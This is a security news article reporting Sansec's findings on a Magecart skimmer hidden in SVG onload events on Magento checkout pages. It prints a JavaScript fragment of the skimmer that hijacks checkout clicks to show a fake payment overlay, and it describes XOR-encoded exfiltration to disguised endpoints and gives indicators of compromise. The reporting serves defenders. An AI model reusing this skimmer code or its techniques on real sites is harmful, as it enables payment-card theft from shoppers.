According to Sansec, attackers deployed a sophisticated skimmer designed to evade traditional security tools while silently harvesting payment data.
The campaign primarily targets Magento-based e-commerce platforms, with evidence suggesting exploitation of the long-standing PolyShell vulnerability as the initial access vector.
This vulnerability continues to affect unpatched Magento environments, allowing attackers to inject malicious code directly into store pages.
Instead of relying on external JavaScript files, which are often detected by security scanners, the attackers embed their entire payload within a tiny, invisible SVG image.
The malicious code is base64-encoded and executed via the SVG’s onload event. Because the payload resides inline within HTML, it bypasses many detection mechanisms that look for suspicious third-party scripts.
For example, a 1×1 pixel SVG element is injected into the checkout page, triggering execution as soon as the page loads without raising visible indicators.
Once active, the skimmer waits for user interaction. It attaches a useCapture event listener to intercept clicks on checkout buttons before legitimate scripts can respond.
When a shopper attempts to proceed to checkout:
javascriptdocument.addEventListener(
"click",
function (e) {
var el = e.target.closest('a,button,[role="button"]');
if (!el) return;
var href = el.getAttribute("href") || "";
if (
(href && checkoutUrl.includes(href)) ||
el.getAttribute("data-role") === "proceed-to-checkout" ||
el.id === "top-cart-btn-checkout"
) {
e.preventDefault();
e.stopImmediatePropagation();
show(); // display fake checkout overlay
}
},
true,
); This approach ensures victims unknowingly submit their payment details directly to the attacker-controlled script.
After capturing the data, the malware encrypts it using a simple XOR cipher with the key “script,” followed by base64 encoding. This dual-layer obfuscation helps evade detection during transmission.
The stolen data is then sent via POST requests to attacker-controlled domains, disguised as Facebook analytics traffic using endpoints like /fb_metrics.php. To further evade analysis, destination URLs are double-encoded.
Notably, all identified domains resolve to the IP address 23.137.249.67, hosted by IncogNet in the Netherlands.
To reduce suspicion, the skimmer sets a browser flag (_mgx_cv) in local storage after successful data theft, preventing repeated targeting of the same user.
Finally, victims are redirected back to the legitimate checkout page, making the attack virtually invisible from a user perspective.
Key indicators linked to this campaign include:
onload JavaScript execution.atob() and setTimeout./fb_metrics.php endpoints._mgx_cv in-browser local storage.This campaign highlights how attackers continue to evolve Magecart techniques, leveraging lesser-monitored HTML features like SVG to bypass defenses and compromise online shoppers at scale.
Follow us on Google News , LinkedIn and X to Get More Instant Updates. Set Cyberpress as a Preferred Source in Google
The post Hackers Use SVG onload Trick to Hide Magecart Skimmer on Magento Checkout Pages appeared first on Cyber Security News.
Forza Horizon 6 suffered a significant leak after the entire game was reportedly made available…
May 10, 2026 Imagine if the biggest, most influential businesses in this country came together…
Crimson Desert developer Pearl Abyss has released this week’s update as promised, and it adds…
It took nearly 50 years. WKRP in Cincinnati is no longer just a TV sitcom.…
The Mountain Home Area Chamber of Commerce hosted its 2026 Four-Person Scramble Golf Tournament Friday…
Growing up and spending all of his 44-years in Lead Hill and living on the…
This website uses cookies.